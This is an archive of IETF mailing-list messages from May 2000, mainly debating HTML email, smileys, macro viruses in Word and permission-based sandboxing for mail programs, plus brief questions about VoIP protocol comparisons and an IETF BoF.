Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11629
	for <ietf@ietf.org>; Thu, 11 May 2000 20:48:37 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id SAA04447
	for ietf@ietf.org  env-from <vjs>;
	Thu, 11 May 2000 18:48:37 -0600 (MDT)
Date: Thu, 11 May 2000 18:48:37 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005120048.SAA04447@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: Re: VIRUS WARNING
X-Loop: ietf@ietf.org

> From: John Stracke <francis@ecal.com>

> --------------95872F20B70C837D61220742
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
>
> Vernon Schryver wrote:
>
> > What good is HTML based email if it cannot run
> > scripts or even contain links to other HTML content?
>
> Well, there's basic formatting:
>
>  * Simple font variations (italics, bold, color, font) are an easy way to add
>    a bit of expressiveness to your text.
>       o Everybody says that the problem with email is that it's not expressive
>         enough.
>       o To compensate, we've got an elaborate set of conventions for imitating
>         what you can do in print and face-to-face (smileys, *asterisks* for
>         emphasis, etc.).
>       o But new users don't know these conventions.
>       o HTML offers the ability to do the same thing more comprehensibly.
>         Actual smiley faces, italics for emphasis (just like people are used
>         to seeing in print), headings.
>   * And, of course, lists and tables are amazingly useful.

All of that can be done in pure ASCII.  
You don't have to be Shakespear to communicate with the written word
without more punctuation than existed in 1960.  There was no global plague
in 1970 that damage all English speaking brains so that they could no
longer communicate without 256 colors of foreground and background, and
1000 typefaces.  "Smileys" are particularly lame.  No joke is made funny
with a smiley nor is any insult prevented.

The conventions of bullet lists such as rendered by <LI> are also mere
conventions as opaque to the uninitiated as astrisks or capitalization
for emphasis.  Most of use are bright enough to not need any explicit
initiation to any reasonable convention; even smileys were obvious when
there was only 1 kind.


> And even simple links (never mind forms, applets, etc.) are great for, say,
> workflow applications.  When I worked for Netscape, HR made great use of HTML
> mail in the internal network.  When I wanted to take some vacation
> time, I filled out a form on the HR site; they would send mail to my manager,
> with one link to approve and one to deny.  Much easier than paper-based systems,
> or even non-email-based online systems (since the vacation request comes into
> the inbox you already check, instead of making you go someplace else).

Email is not a general purpose hammer.  All of those things work
far better with various other mechanisms than crammed into email.
Email can be a useful part of such systems, but competently designed
systems DO NOT do such things purely in email.

Worse, when crammed into email, those mechanisms are *INEVITABLE*
serious security problems.  Email is not only for communications
among intimates, such as you and your Human Resources Department.
If you let your MUA fully decode HTML every time you read a message, then
you are in deep trouble.  It's not just the Java and Javascript.  Do you
really want to tell strangers every time you look at their email because
it contains an <HREF> to a unique URL created just for the purpose?




> ...
> --------------95872F20B70C837D61220742
> Content-Type: text/html; charset=us-ascii
> Content-Transfer-Encoding: 7bit
>
> <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
> <html>
> Vernon Schryver wrote:
> <blockquote TYPE=CITE>What good is HTML based email if it cannot run
> <br>scripts or even contain links to other HTML content?</blockquote>
> Well, there's basic formatting:
> <ul>
> <li>
> Simple font variations (italics, bold, color, font) are an easy way to
> add a bit of expressiveness to your text.</li>
> <ul>
> <li>
> ...

If the point in including an HTML encrypted version of the text in addition
to the plantext was to demonstrate the utility of HTML in email, it fell
flat.  The HTML version conveyed *nothing* to me that the plaintext did
not.  And yes, I checked by viewing the HTML with Netscape 4.7.

> ...
> <pre>--&nbsp;
> /===============================================================\
> |John Stracke&nbsp;&nbsp;&nbsp; | <A HREF="http://www.ecal.com">http://www.ecal.com</A> |My opinions are my own. |
> |Chief Scientist |==============================================|
> |eCal Corp.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |Whose cruel idea was it for the word "lisp" to|
> |francis@ecal.com|have an "S" in it?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |
> \===============================================================/</pre>
> &nbsp;</html>

That's what your signature looks like encrypted with HTML.
(I'm hoping my archaic quote leading will keep too-smart-by-half MUA's
from collapsing it into reasonableness)
Who could prefer it to the plaintext version?

> /===============================================================\
> |John Stracke    | http://www.ecal.com |My opinions are my own. |
> |Chief Scientist |==============================================|
> |eCal Corp.      |Whose cruel idea was it for the word "lisp" to|
> |francis@ecal.com|have an "S" in it?                            |
> \===============================================================/


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Thu May 11 21:00:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA11842
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 21:00:02 -0400 (EDT)
Received: from dfw7-1.relay.mail.uu.net (dfw7-1.relay.mail.uu.net [199.171.54.106])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11764
	for <ietf@ietf.org>; Thu, 11 May 2000 20:53:24 -0400 (EDT)
Received: from exchange2.idxii.net by dfw7sosrv11.alter.net with ESMTP 
	(peer crosschecked as: exchange2.idxii.net [206.64.6.16])
	id QQioud12783;
	Fri, 12 May 2000 00:53:22 GMT
Received: by exchange2.idxii.net with Internet Mail Service (5.5.2448.0)
	id <2HC3S5ZX>; Thu, 11 May 2000 20:40:16 -0400
Message-ID: <4339AAD5ABE3D211AA9B006008A0F5CE1332C7@exchange2.idxii.net>
From: Hubert Chang <HChang@idxii.net>
To: "'Yixin Zhu '" <yixin@xybridge.com>, "'ietf@ietf.org '" <ietf@ietf.org>
Subject: RE: Any comparison Study on MGCP vs H.323, MGCP vs SIP
Date: Thu, 11 May 2000 20:40:13 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Yes, I need this comparison too, please help.

Hubert Chang

-----Original Message-----
From: Yixin Zhu
To: ietf@ietf.org
Sent: 5/11/00 10:55 AM
Subject: Any comparison Study on MGCP vs H.323, MGCP vs SIP

Hi,

There are studies on the comparision of the two competing protocol SIP
and
H.323. However, MGCP can also provide call control functionalities. A
network with MGCP only (Call agent, MG etc) can provide basic VoIP
service
too. Then my questions are

1. Are there any comparison study between MGCP and H.323?

2. Are there any comparision study between MGCP  and SIP?


You help is very much appreciated. Thanks,


Yixin (James) ZHU



From owner-ietf-outbound  Thu May 11 22:10:28 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA13446
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 22:10:02 -0400 (EDT)
Received: from alcove.wittsend.com (IDENT:root@mirror1.wittsend.com [130.205.0.28])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA13376
	for <ietf@ietf.org>; Thu, 11 May 2000 22:04:00 -0400 (EDT)
Received: (from mhw@localhost)
	by alcove.wittsend.com (8.9.3/8.9.3) id VAA20813;
	Thu, 11 May 2000 21:03:39 -0400
Date: Thu, 11 May 2000 21:03:39 -0400
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Vernon Schryver <vjs@CALCITE.RHYOLITE.COM>
Cc: ietf@ietf.org
Subject: Re: VIRUS WARNING
Message-ID: <20000511210339.A20436@alcove.wittsend.com>
References: <200005120048.SAA04447@calcite.rhyolite.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.1.5i
In-Reply-To: <200005120048.SAA04447@calcite.rhyolite.com>; from vjs@CALCITE.RHYOLITE.COM on Thu, May 11, 2000 at 06:48:37PM -0600
X-Loop: ietf@ietf.org

On Thu, May 11, 2000 at 06:48:37PM -0600, Vernon Schryver wrote:

	[...]

> All of that can be done in pure ASCII.  
> You don't have to be Shakespear to communicate with the written word
> without more punctuation than existed in 1960.  There was no global plague
> in 1970 that damage all English speaking brains so that they could no
> longer communicate without 256 colors of foreground and background, and
> 1000 typefaces.  "Smileys" are particularly lame.  No joke is made funny
> with a smiley nor is any insult prevented.

	Actually...  On the point of smilies, I will give you an argument
and that argument is that you've missed the real point.  We are in a
multicultural environment here.  Some participants do not speak English
as their first language or maybe not even as their second.  Many, even
amongst the English based, don't understand each other idionyms and slang
terms.  How many know that the term "sheeetload" is a Southern US American
metric measure of volume?  :-)  Communications goes above and beyond
simple words.

	In f2f communications, they say that the majority of communications
is non-verbal.  Body language, intonation, expressions, all play a part.
Smilies are an, abet lame, attempt to add some of that non-verbal language
back into written communications.  It helps convey the point of humor to
those who do might not recognize it.  It helps convey sarcasm and refine
remarks to direct them along the lines which they are meant.  I've used
numerous remarks that could be taken seriously, humorously, figuratively,
or literally and the thing that stands between communication and
missunderstanding are those darn smilies to convey the underlying meaning.
This is especially important when you can't even be sure what country
or culture you are communicating with.

	I will say that HTML is IMHO worthless and inappropriate in
E-Mail.  Similies, OTOH, are much like the universal symbol signs we
see up every.  Their purpose is to convey meaning even when the language
is not [fully] understood.  And language, in this case, means one hell
of a lot more than one word strung after another.  :-/

> The conventions of bullet lists such as rendered by <LI> are also mere
> conventions as opaque to the uninitiated as astrisks or capitalization
> for emphasis.  Most of use are bright enough to not need any explicit
> initiation to any reasonable convention; even smileys were obvious when
> there was only 1 kind.

	[...]

> Email is not a general purpose hammer.  All of those things work
> far better with various other mechanisms than crammed into email.
> Email can be a useful part of such systems, but competently designed
> systems DO NOT do such things purely in email.

	Could not agree more.

> Worse, when crammed into email, those mechanisms are *INEVITABLE*
> serious security problems.  Email is not only for communications
> among intimates, such as you and your Human Resources Department.
> If you let your MUA fully decode HTML every time you read a message, then
> you are in deep trouble.  It's not just the Java and Javascript.  Do you
> really want to tell strangers every time you look at their email because
> it contains an <HREF> to a unique URL created just for the purpose?

	[...]

> Vernon Schryver    vjs@rhyolite.com

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!



From owner-ietf-outbound  Fri May 12 01:50:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA21773
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 01:50:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA21749
	for <ietf@ietf.org>; Fri, 12 May 2000 01:49:33 -0400 (EDT)
Received: from langfjella.Alvestrand.no ([10.128.167.143])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id HAA14366;
	Fri, 12 May 2000 07:49:25 +0200
Message-Id: <4.3.1.2.20000512001113.103198c0@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Fri, 12 May 2000 00:12:46 +0200
To: "James P. Salsman" <bovik@best.com>, ietf@ietf.org
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: Re: mail sandbox wall authority, inward and outbound
In-Reply-To: <200005112010.NAA07997@shell9.ba.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 13:10 11.05.2000 -0700, James P. Salsman wrote:
>These sorts of things are less common on the more heterogeneous
>Unix world, but Unix mailers are just as culpable.  If I wanted to
>be consistent, I would demand that anything I run on Unix (without
>a special permitted shell) which connects to port 25 should be
>intercepted, wrapped with an "ok queued" SMTP response, and
>forwarded to me instead.  Would anyone argue that isn't reasonable?
Yes, but only because I have 15 different programs that more or less 
indirectly invoke /usr/sbin/sendmail for various reasons.
Most of them are tools invoked from cron.

In a fine-grained capabilities control system, I'd have the "send email" as 
one access control descriptor I could grant these programs.
But that's not been implemented in any widespread system I know of.

                            Harald

--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Fri May 12 03:20:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id DAA28913
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 03:20:02 -0400 (EDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA28879
	for <ietf@ietf.org>; Fri, 12 May 2000 03:17:40 -0400 (EDT)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04099-0@bells.cs.ucl.ac.uk>; Fri, 12 May 2000 08:17:33 +0100
To: Leonid Yegoshin <egoshin@genesyslab.com>
cc: bovik@best.com, ietf@ietf.org
Subject: Re: mail sandbox wall authority, inward and outbound
In-reply-to: Your message of "Thu, 11 May 2000 15:38:34 PDT." <200005112238.PAA00950@leonid.genesyslab.com>
Date: Fri, 12 May 2000 08:17:31 +0100
Message-ID: <1535.958115851@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
X-Loop: ietf@ietf.org



the problem with sandboxes is that they are monolithic as is this
discussion of mail - if i have a notion of a compartmentalized system
with users, and access rights (like almost all operating systems from the
late 60s onwards, but not like
simple desk top single user executives as found on many personal
computers today unfortuantely),
then i can have mail agents run scripts, but with the authorities of
the user, perhaps restricted further by some context, and i can then
configure arbitrary rights w.r.t each possible tool that the script
might invoke - some of these can be gathered togethre under the
headings of "file input, output, exectution, creation etc", and others
under the rights of "audio/video/mouse/itneraction with user",
"network i/o to such and such an address (list)", etc
for conveneicnce and expressiveness in the ACL system (other
management tools like user, other, groups etc help scale the task)
and then i can design a set of sensible securioty policies for a site,
and employ an expert to configure things for everyone - typically,
with good systems, defaults and default operating system notions of 
user, file permissions, sudo type access etc, will suffice...

iff you start with a decent system;
otherwise, forget it - someone will always find a way to set things up
disastrously wrong, because it will be the only way to get work done
....this is a standad problem with systems that impose all or nothing
security - either they leak like a sive or users find them
unusable...
so the solution is to ditch indecent systems. 

In message <200005112238.PAA00950@leonid.genesyslab.com>, Leonid Yegoshin typed
:

 >>>From: "James P. Salsman" <bovik@best.com>
 >>>
 >>>A MUA might ask the console operator for permission to proceed when:
 >>>
 >>>1. A mail message wants to run a program.  (e.g., ECMAscripts.)
 >>>
 >>>2. An attachment is executable. (Nearly universal practice.)
 >>>
 >>>3. A program wants to write to a file.  (Usually not trapped more
 >>>than once per execution if at all.)
 >>>
 >>>4. A program wants to read your address book.  (Does any mail system
 >>>that offers this functionality limit it at all?)
 >>>
 >>>5. A program wants to send mail.  (e.g., having MAPI's Send notify
 >>>the user and queue the proposed message as a draft instead of sending.)
 >>>
 >> 6. A program wants to send a file to somewhere. Or any permanently stored
 >>    information (like cookie but not limited).
 >>
 >>	       - Leonid Yegoshin.
 >>

 cheers

   jon



From owner-ietf-outbound  Fri May 12 04:10:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA29324
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 04:10:02 -0400 (EDT)
Received: from anise.tte.vtt.fi (anise.tte.vtt.fi [130.188.52.29])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA29297
	for <ietf@ietf.org>; Fri, 12 May 2000 04:08:40 -0400 (EDT)
Received: (from msa@localhost)
	by anise.tte.vtt.fi (8.8.5/8.8.5) id LAA32110;
	Fri, 12 May 2000 11:08:34 +0300 (EET DST)
Date: Fri, 12 May 2000 11:08:34 +0300 (EET DST)
From: Markku Savela <msa@anise.tte.vtt.fi>
Message-Id: <200005120808.LAA32110@anise.tte.vtt.fi>
To: J.Crowcroft@CS.UCL.AC.UK
CC: egoshin@genesyslab.com, bovik@best.com, ietf@ietf.org
In-reply-to: <1535.958115851@cs.ucl.ac.uk> (message from Jon Crowcroft on Fri, 12 May 2000 08:17:31 +0100)
Subject: Re: mail sandbox wall authority, inward and outbound
Reply-to: msa@hemuli.tte.vtt.fi (Markku Savela)
X-Loop: ietf@ietf.org


> under the rights of "audio/video/mouse/itneraction with user",
> "network i/o to such and such an address (list)", etc for
> conveneicnce and expressiveness in the ACL system (other management
> tools like user, other, groups etc help scale the task) and then i
> can design a set of sensible securioty policies for a site,

I think we should "turn around the view" (maybe you were saying this
in another way).

That is, instead of ACL type protection, where a resource is
associated with a list of allowed users and uses, we should have a
list of allowed resources and uses attaced to each program
(exectutable or active object).

And by default, a program could not access any resources at all.

In case of mail attachment containing an executable, we could quite
safely try to run it, and the system would just inform that it tries
to open this or that file (do you want to allow it?), trying to
open TCP connection to port 25 (do you want to allow it?), or tries to
execute another program (do you want to allow it?).

To make such thing work, program installation packages would need to
be accompanied with a "resource usage list", which could be checked by
the user, and if acceptable, and then associated with the program.

I don't see it causing much overhead. For example, linux program
loader could be changed to load the usage list, and on open file, it
is not a big issue in scanning this list whether the access is allowed
or not. Most programs really need access to few files and resources
anyway (and naturally, there would be ways to give access to wide
range of resources, if needed -- the old group/owner uids would be
still available for that purpose)

-- 
Markku Savela (msa@hemuli.tte.vtt.fi), Technical Research Centre of Finland
Multimedia Systems, P.O.Box 1203,FIN-02044 VTT,http://www.vtt.fi/tte/staff/msa/



From owner-ietf-outbound  Fri May 12 08:51:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA01323
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 08:50:02 -0400 (EDT)
Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA01236
	for <ietf@ietf.org>; Fri, 12 May 2000 08:43:57 -0400 (EDT)
Received: [from pobox.mot.com (pobox.mot.com [129.188.137.100]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id FAA16824 for <ietf@ietf.org>; Fri, 12 May 2000 05:43:57 -0700 (MST)]
Received: [from m-zuk02-r1.mot.com (m-zuk02-r1.mot.com [140.101.234.21]) by pobox.mot.com (MOT-pobox 2.0) with ESMTP id FAA28586 for <ietf@ietf.org>; Fri, 12 May 2000 05:43:56 -0700 (MST)]
Received: from [140.101.173.9] by m-zuk02-r1.mot.com with ESMTP for ietf@ietf.org; Fri, 12 May 2000 05:43:43 -0700
Received: (from root@localhost)
	by zorglub.crm.mot.com (8.8.8/8.8.8/crm-1.6) id OAA28309
	for ietf@ietf.org.DELIVER; Fri, 12 May 2000 14:43:43 +0200 (METDST)
Received: from crm.mot.com (cedric.crm.mot.com [140.101.173.77])
	by zorglub.crm.mot.com (8.8.8/8.8.8/crm-1.6) with ESMTP id OAA28280
	for <ietf@ietf.org>; Fri, 12 May 2000 14:43:42 +0200 (METDST)
Message-Id: <391BFC7C.E23DF3B3@crm.mot.com>
Date: Fri, 12 May 2000 14:43:40 +0200
From: Christophe Janneteau <Christophe_Janneteau-ACJ006@email.mot.com>
Reply-To: Christophe Janneteau-ACJ006 <Christophe_Janneteau-ACJ006@email.mot.com>
Organization: Centre de Recherche de Motorola - Paris
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Spatial IP bof?
Content-Type: multipart/mixed;
 boundary="------------C8E8625BBD45F9941DD55B5A"
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.
--------------C8E8625BBD45F9941DD55B5A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

Does someone has any information about the Spatial IP bof. Is it going
to become a WG?
The minute is not available on the IETF web site:

http://www2.ietf.org/proceedings/00mar/unedit/spatial-bof-00mar.txt is
the minute for SIP323 bof !

Where can I get this minute?

Thanks,
Christophe.
--------------C8E8625BBD45F9941DD55B5A
Content-Type: text/x-vcard; charset=us-ascii;
 name="Christophe.Janneteau.vcf"
Content-Description: Card for Christophe Janneteau
Content-Disposition: attachment;
 filename="Christophe.Janneteau.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Janneteau;Christophe
tel;fax:+33 1 69 35 25 01
tel;work:+33 1 69 35 25 00
x-mozilla-html:FALSE
org:MOTOROLA
version:2.1
email;internet:Christophe.Janneteau@crm.mot.com
adr;quoted-printable:;;Centre de Recherche de Motorola - Paris=0D=0AEspace technologique - St Aubin=0D=0A;Gif sur Yvette;;91193;France
fn:Christophe Janneteau
end:vcard

--------------C8E8625BBD45F9941DD55B5A--



From owner-ietf-outbound  Fri May 12 09:00:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA01446
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 09:00:03 -0400 (EDT)
Received: from hudutil3gw.ml.com (hudutil3f01.ml.com [198.242.49.33])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA01243
	for <ietf@ietf.org>; Fri, 12 May 2000 08:44:53 -0400 (EDT)
Received: from ehudwt01.exchange.ml.com (ehudwt01.exchange.ml.com [199.201.37.22])
	by hudutil3gw.ml.com (8.9.3/8.9.3/MLgwo-4.03) with SMTP id IAA14801;
	Fri, 12 May 2000 08:44:48 -0400 (EDT)
Received: from 172.20.64.1 by ehudwt01.exchange.ml.com with ESMTP (
 WorldSecure Server SMTP Relay(WSS) v4.5); Fri, 12 May 2000 08:44:47
 -0400
X-Server-Uuid: 3789b954-9c4e-11d3-af68-0008c73b0911
Received: by epcc01.na2.us.ml.com with Internet Mail Service (
 5.5.2650.21) id <KXMJP9XK>; Fri, 12 May 2000 08:44:46 -0400
Message-ID: <C7A236ACE67FD311A0650001FA7E1AE41616CF@epcc23.na2.us.ml.com>
From: "Castro, Edison M. (PCA)" <ECastro@NA2.US.ML.com>
To: "'Doug Sauder'" <doug@broadsoft.com>,
        "Castro, Edison M. (PCA)" <ECastro@NA2.US.ML.com>, ietf@ietf.org
Subject: RE: VIRUS WARNING
Date: Fri, 12 May 2000 08:44:42 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
X-WSS-ID: 1505233528594-01-01
Content-Type: text/plain; 
 charset=iso-8859-1
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Let's see if this reasoning holds water. Imagine your favorite OS, suppose
that I send you
a .pl file (Perl Script). You then make the "mistake" of saving it to the
file system and then
proceed to running the script. What do you think that script can do?. What
will you have to do
to fix your problem?. This is completely analogous to changing the default
selection on the
"Do you want to run this document's macros" dialog from "NO" to "YES".

We have become a society of excuses people, nothing is our fault. It is
always somebody
else's fault. 

WE HAVE TO TAKE RESPONSIBILITY FOR OUR OWN ACTIONS!!!!!!!!!!!!


ps: if I made this stupid mistake, I will immediately check what macros are
included in the
forsaken document and delete them.


-----Original Message-----
From: Doug Sauder [mailto:doug@broadsoft.com]
Sent: Thursday, May 11, 2000 5:55 PM
To: Castro, Edison M. (PCA); ietf@ietf.org
Subject: RE: VIRUS WARNING




> -----Original Message-----
> From: Castro, Edison M. (PCA) [mailto:ECastro@NA2.US.ML.com]
> That is exactly the same way that all Windows virus work. As a Windows 
> user (as well as other OSes), I can say that people have to be 
> responsible 
> for their actions.  Whenever you receive any Email attachment, 
> the only way
> that attachment can produce any damage is if you run it.
> 
> At least in my copy of MS Word anytime I open a word document and it
> contains
> any macros, Word readily ask me if I want to allow the macro to execute. 
> Not only that, this version of Word (2000) is configured to only 
> ask me when
> a signed (with a certificate of a trusted party) macro is included.

Suppose you made the mistake of opening a Word document with a VBA (Visual
Basic for Applications) script virus.  (I did this once and I am sharing a
real-life experience.)  The VBA script turns off the option that disables
automatically running scripts.  I kid you not!  Next time you open a Word
document that contains a script, you won't be asked whether you want to run
it.  If you go into the options settings and set the option to disable
running scripts, you have done nothing, because the virus script runs when
you close the document and turns the option back off again.

At least not allowing macros to disable the don't-run-macros option seems
reasonable to me, but it seemed to have escaped the engineers who created
Microsoft Word.

Doug Sauder
Software Engineer
Broadsoft, Inc



From owner-ietf-outbound  Fri May 12 09:10:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA01637
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 09:10:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA01347
	for <ietf@ietf.org>; Fri, 12 May 2000 08:53:29 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 12qEwF-0001DT-00; Fri, 12 May 2000 13:53:07 +0100
Date: Fri, 12 May 2000 13:53:05 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Vernon Schryver <vjs@calcite.rhyolite.com>
cc: ietf@ietf.org
Subject: Re: VIRUS WARNING
In-Reply-To: <200005120048.SAA04447@calcite.rhyolite.com>
Message-ID: <Pine.GSO.4.21.0005121350470.9919-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Thu, 11 May 2000, Vernon Schryver wrote:

> All of that can be done in pure ASCII.  
> You don't have to be Shakespear to communicate with the written word
> without more punctuation than existed in 1960.  There was no global plague
> in 1970 that damage all English speaking brains so that they could no
> longer communicate without 256 colors of foreground and background, and
> 1000 typefaces.

It came earlier than that. It was called "television".

L.

can't stand sentences whose grammart doesn't follow Boole.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Fri May 12 09:40:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA02233
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 09:40:02 -0400 (EDT)
Received: from broadsoft.com (broadsoft.com [161.58.239.68])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA02088
	for <ietf@ietf.org>; Fri, 12 May 2000 09:35:12 -0400 (EDT)
Received: from raymond ([216.181.56.35]) by broadsoft.com (8.8.8) id JAA95536; Fri, 12 May 2000 09:35:12 -0400 (EDT)
From: "Doug Sauder" <doug@broadsoft.com>
To: "Castro, Edison M. (PCA)" <ECastro@NA2.US.ML.com>, <ietf@ietf.org>
Subject: RE: VIRUS WARNING
Date: Fri, 12 May 2000 09:43:46 -0400
Message-ID: <NDBBIAKOPKHFGPLCODIGGEFNCHAA.doug@broadsoft.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <C7A236ACE67FD311A0650001FA7E1AE41616CF@epcc23.na2.us.ml.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id JAA02088
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

Oh, I agree that we have to take responsibility for our own actions.  I am absolutely responsible for allowing the macro to run.

After I mistakenly ran the macro, my first thought was to neutralize it -- to stop it from spreading further -- by disabling the automatic running of macros.  Unfortunately, Word paid more attention to what the macro wanted, than what *I* the user wanted.  I said "DON'T RUN MACROS!!".  The macro said "run macros."  Guess who Word listened to?  Do you see the catch?  It's not a matter of not being responsible.  I take the blame.  But MS made it much easier for the virus to get the upper hand.  The don't-run-macros option is only halfway useful if you can only turn it off, but can never turn it on again.

At that time I knew very little about macros.  The VBA editor seemed non-intuitive to use.  I tried to remove the virus by deleting the VBA script, and that took several hours of research in MS Word How-To books.  I finally ended up going out to a store and buying the virus clean-up software.

--
Doug Sauder
Software Engineer
Broadsoft, Inc

> -----Original Message-----
> From: Castro, Edison M. (PCA) [mailto:ECastro@NA2.US.ML.com]
> Sent: Friday, May 12, 2000 08:45
> To: 'Doug Sauder'; Castro, Edison M. (PCA); ietf@ietf.org
> Subject: RE: VIRUS WARNING
> 
> 
> Let's see if this reasoning holds water. Imagine your favorite OS, suppose
> that I send you
> a .pl file (Perl Script). You then make the "mistake" of saving it to the
> file system and then
> proceed to running the script. What do you think that script can do?. What
> will you have to do
> to fix your problem?. This is completely analogous to changing the default
> selection on the
> "Do you want to run this document's macros" dialog from "NO" to "YES".
> 
> We have become a society of excuses people, nothing is our fault. It is
> always somebody
> else's fault. 
> 
> WE HAVE TO TAKE RESPONSIBILITY FOR OUR OWN ACTIONS!!!!!!!!!!!!
> 
> 
> ps: if I made this stupid mistake, I will immediately check what 
> macros are
> included in the
> forsaken document and delete them.
> 
> 
> -----Original Message-----
> From: Doug Sauder [mailto:doug@broadsoft.com]
> Sent: Thursday, May 11, 2000 5:55 PM
> To: Castro, Edison M. (PCA); ietf@ietf.org
> Subject: RE: VIRUS WARNING
> 
> 
> 
> 
> > -----Original Message-----
> > From: Castro, Edison M. (PCA) [mailto:ECastro@NA2.US.ML.com]
> > That is exactly the same way that all Windows virus work. As a Windows 
> > user (as well as other OSes), I can say that people have to be 
> > responsible 
> > for their actions.  Whenever you receive any Email attachment, 
> > the only way
> > that attachment can produce any damage is if you run it.
> > 
> > At least in my copy of MS Word anytime I open a word document and it
> > contains
> > any macros, Word readily ask me if I want to allow the macro to 
> execute. 
> > Not only that, this version of Word (2000) is configured to only 
> > ask me when
> > a signed (with a certificate of a trusted party) macro is included.
> 
> Suppose you made the mistake of opening a Word document with a VBA (Visual
> Basic for Applications) script virus.  (I did this once and I am sharing a
